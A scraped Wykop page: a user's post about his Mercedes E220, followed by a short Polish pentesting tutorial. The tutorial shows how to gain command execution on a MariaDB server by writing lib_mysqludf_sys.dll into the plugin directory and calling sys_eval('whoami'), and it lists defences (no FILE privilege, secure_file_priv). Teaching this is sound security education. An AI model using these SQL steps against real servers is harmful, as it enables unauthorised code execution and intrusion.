Aktywne Wpisy

źródło: temp_file5256611690359751319
Pobierz
golden87 +37
#pokazauto #mercedes #e220
Takie moje małe #chwalesie i małe marzenie motoryzacyjne spełnione... ( ͡° ͜ʖ ͡°) Wiadomo, szkoda ze nie S-ka w coupe, szkoda ze nie V8... ale trzeba mierzyć siły na zamiary :-) Do sprawnego poruszania się po mieście wystarczy, wyposażenie też daje rade (elektryka+klima), czas płynie wolniej. Pozdrawiam Mirków i Mirabelki ¯\(ツ)/¯
Takie moje małe #chwalesie i małe marzenie motoryzacyjne spełnione... ( ͡° ͜ʖ ͡°) Wiadomo, szkoda ze nie S-ka w coupe, szkoda ze nie V8... ale trzeba mierzyć siły na zamiary :-) Do sprawnego poruszania się po mieście wystarczy, wyposażenie też daje rade (elektryka+klima), czas płynie wolniej. Pozdrawiam Mirków i Mirabelki ¯\(ツ)/¯
źródło: mojmerc
Pobierz




Ale co jeszcze można uzyskać za ich pomocą? #od0dopentestera
MariaDB pozwala na zainstalowanie dodatkowych funkcji, tak zwany User-Defined Functions.
Nas interesuje taka, która umożliwia wykonanie kodu na serwerze poprzez zapytanie SQL.
Najpierw sprawdzamy wersje systemu operacyjnego oraz lokalizacje katalogu z rozszerzeniami:
SHOW GLOBAL VARIABLES LIKE '%version%';SHOW VARIABLES LIKE 'plugin_dir';
Teraz tworzymy nową tabele i kopiujemy do niej treść odpowiedniego pliku:
CREATE TABLE files(content text);INSERT INTO files VALUES(CHAR(1, 2, 3))
Może on zawierać bajty zerowe, dlatego też korzystamy z funkcji CHAR.
Następny krok to zapis danych z tabeli do poznanego wcześniej katalogu.
Aby było to możliwe użytkownik musi mieć odpowiednie uprawnienia.
SELECT content FROM files INTO DUMPFILE 'C:\xampp\mysql\lib\plugin\lib_mysqludf_sys.dll';Pozostało już tylko zarejestrować nową funkcję i wykorzystać ją do wykonania kodu:
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';SELECT sys_e val("whoami");
(Spacja w zapytaniu powyżej jest tu z powodu usługi anty DDOS na wykopie)._
Jak ochronić się przed tym atakiem?
Korzystać z kont, które nie posiadają uprawnień
FILE.Alternatywną opcją jest uruchomienie serwera z dodatkowym parametrem secure_file_priv.
Subskrybuj kanał na YouTube
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
#programowanie #security #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu #bezpieczenstwo #webdev #programista15k #mysql #bazydanych
Możesz zapisać/wypisać się klikając na nazwę listy.
! @KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut @cytawek @dziki_bak